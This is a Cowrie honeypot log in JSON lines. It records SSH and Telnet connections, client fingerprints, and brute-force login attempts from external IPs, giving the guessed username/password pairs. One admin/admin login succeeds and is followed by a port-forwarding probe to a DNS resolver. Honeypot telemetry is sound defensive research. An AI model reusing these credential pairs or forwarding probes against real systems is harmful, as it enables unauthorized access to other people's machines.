{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:29:55.774558Z","src_ip":"46.19.67.181","session":"836689ac3735","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"creativ","message":"login attempt [root/creativ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:29:56.109188Z","src_ip":"46.19.67.181","session":"836689ac3735","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:29:57.222548Z","src_ip":"46.19.67.181","session":"836689ac3735","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":36930,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e3475f813a7","protocol":"telnet","message":"New connection: 128.199.8.54:36930 (159.203.135.109:23) [session: 0e3475f813a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:31:01.039999Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":36542,"dst_ip":"10.17.0.5","dst_port":22,"session":"1852f59f7fa1","protocol":"ssh","message":"New connection: 27.71.230.31:36542 (10.17.0.5:22) [session: 1852f59f7fa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:31:01.701385Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:31:01.769146Z","src_ip":"27.71.230.31","session":"1852f59f7fa1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:31:03.482062Z","src_ip":"27.71.230.31","session":"1852f59f7fa1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"PASSword!2","message":"login attempt [root/PASSword!2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:31:05.617711Z","src_ip":"27.71.230.31","session":"1852f59f7fa1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:31:06.855370Z","src_ip":"27.71.230.31","session":"1852f59f7fa1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":42868,"dst_ip":"159.203.135.109","dst_port":23,"session":"dfa6416887e4","protocol":"telnet","message":"New connection: 128.199.8.54:42868 (159.203.135.109:23) [session: dfa6416887e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:31:12.103554Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.227.244.120","src_port":57990,"dst_ip":"159.203.135.109","dst_port":22,"session":"7764f859d50a","protocol":"ssh","message":"New connection: 209.227.244.120:57990 (159.203.135.109:22) [session: 7764f859d50a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:31:27.480953Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:31:27.486152Z","src_ip":"209.227.244.120","session":"7764f859d50a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:31:27.575315Z","src_ip":"209.227.244.120","session":"7764f859d50a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fiesta","password":"fiesta","message":"login attempt [fiesta/fiesta] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:31:27.963102Z","src_ip":"209.227.244.120","session":"7764f859d50a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:31:29.054700Z","src_ip":"209.227.244.120","session":"7764f859d50a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":32974,"dst_ip":"159.203.135.109","dst_port":23,"session":"e563485f6b5e","protocol":"telnet","message":"New connection: 128.199.8.54:32974 (159.203.135.109:23) [session: e563485f6b5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:31:38.797676Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.100.248.63","src_port":52542,"dst_ip":"10.17.0.5","dst_port":22,"session":"e3d7c67454a4","protocol":"ssh","message":"New connection: 34.100.248.63:52542 (10.17.0.5:22) [session: e3d7c67454a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:31:41.280957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:31:41.291442Z","src_ip":"34.100.248.63","session":"e3d7c67454a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:31:41.549670Z","src_ip":"34.100.248.63","session":"e3d7c67454a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"remoto","password":"remoto","message":"login attempt [remoto/remoto] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:31:42.541881Z","src_ip":"34.100.248.63","session":"e3d7c67454a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:31:43.794516Z","src_ip":"34.100.248.63","session":"e3d7c67454a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.859352588653564,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:31:44.899242Z","src_ip":"128.199.8.54","session":"0e3475f813a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":59894,"dst_ip":"159.203.135.109","dst_port":23,"session":"10e15a63b423","protocol":"telnet","message":"New connection: 128.199.8.54:59894 (159.203.135.109:23) [session: 10e15a63b423]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:31:53.230939Z"}
{"eventid":"cowrie.session.closed","duration":48.51371788978577,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:32:00.617131Z","src_ip":"128.199.8.54","session":"dfa6416887e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":48648,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b0701c76c4d","protocol":"telnet","message":"New connection: 172.81.62.90:48648 (159.203.135.109:23) [session: 3b0701c76c4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:32:03.471960Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":45792,"dst_ip":"159.203.135.109","dst_port":22,"session":"60daba2aaabc","protocol":"ssh","message":"New connection: 27.71.230.31:45792 (159.203.135.109:22) [session: 60daba2aaabc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:32:23.161146Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:32:23.170224Z","src_ip":"27.71.230.31","session":"60daba2aaabc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:32:23.705000Z","src_ip":"27.71.230.31","session":"60daba2aaabc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"PASSword!2","message":"login attempt [root/PASSword!2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:32:27.130407Z","src_ip":"27.71.230.31","session":"60daba2aaabc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:32:28.393049Z","src_ip":"27.71.230.31","session":"60daba2aaabc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.56138300895691,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:32:37.033196Z","src_ip":"172.81.62.90","session":"3b0701c76c4d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":47574,"dst_ip":"159.203.135.109","dst_port":22,"session":"1399b1767f2c","protocol":"ssh","message":"New connection: 103.82.20.28:47574 (159.203.135.109:22) [session: 1399b1767f2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:32:42.838881Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:32:42.842367Z","src_ip":"103.82.20.28","session":"1399b1767f2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:32:43.112827Z","src_ip":"103.82.20.28","session":"1399b1767f2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":44504,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1809b56145d","protocol":"ssh","message":"New connection: 87.251.64.176:44504 (10.17.0.5:22) [session: e1809b56145d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:32:43.322667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:32:43.326816Z","src_ip":"87.251.64.176","session":"e1809b56145d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:32:43.421072Z","src_ip":"87.251.64.176","session":"e1809b56145d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:32:43.702911Z","src_ip":"87.251.64.176","session":"e1809b56145d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:32:43.798795Z","session":"e1809b56145d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:32:43.893395Z","src_ip":"87.251.64.176","session":"e1809b56145d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"15021981","message":"login attempt [root/15021981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:32:43.925330Z","src_ip":"103.82.20.28","session":"1399b1767f2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:32:43.987744Z","src_ip":"87.251.64.176","session":"e1809b56145d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:32:45.198658Z","src_ip":"103.82.20.28","session":"1399b1767f2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.58447813987732,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:32:49.815292Z","src_ip":"128.199.8.54","session":"10e15a63b423","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":48678,"dst_ip":"159.203.135.109","dst_port":23,"session":"88d9b62987b2","protocol":"telnet","message":"New connection: 128.199.8.54:48678 (159.203.135.109:23) [session: 88d9b62987b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:32:57.686859Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.227.244.120","src_port":43314,"dst_ip":"159.203.135.109","dst_port":22,"session":"3ede7ba62f08","protocol":"ssh","message":"New connection: 209.227.244.120:43314 (159.203.135.109:22) [session: 3ede7ba62f08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:33:04.571980Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T11:33:04.575889Z","src_ip":"209.227.244.120","session":"3ede7ba62f08","protocol":"ssh"}
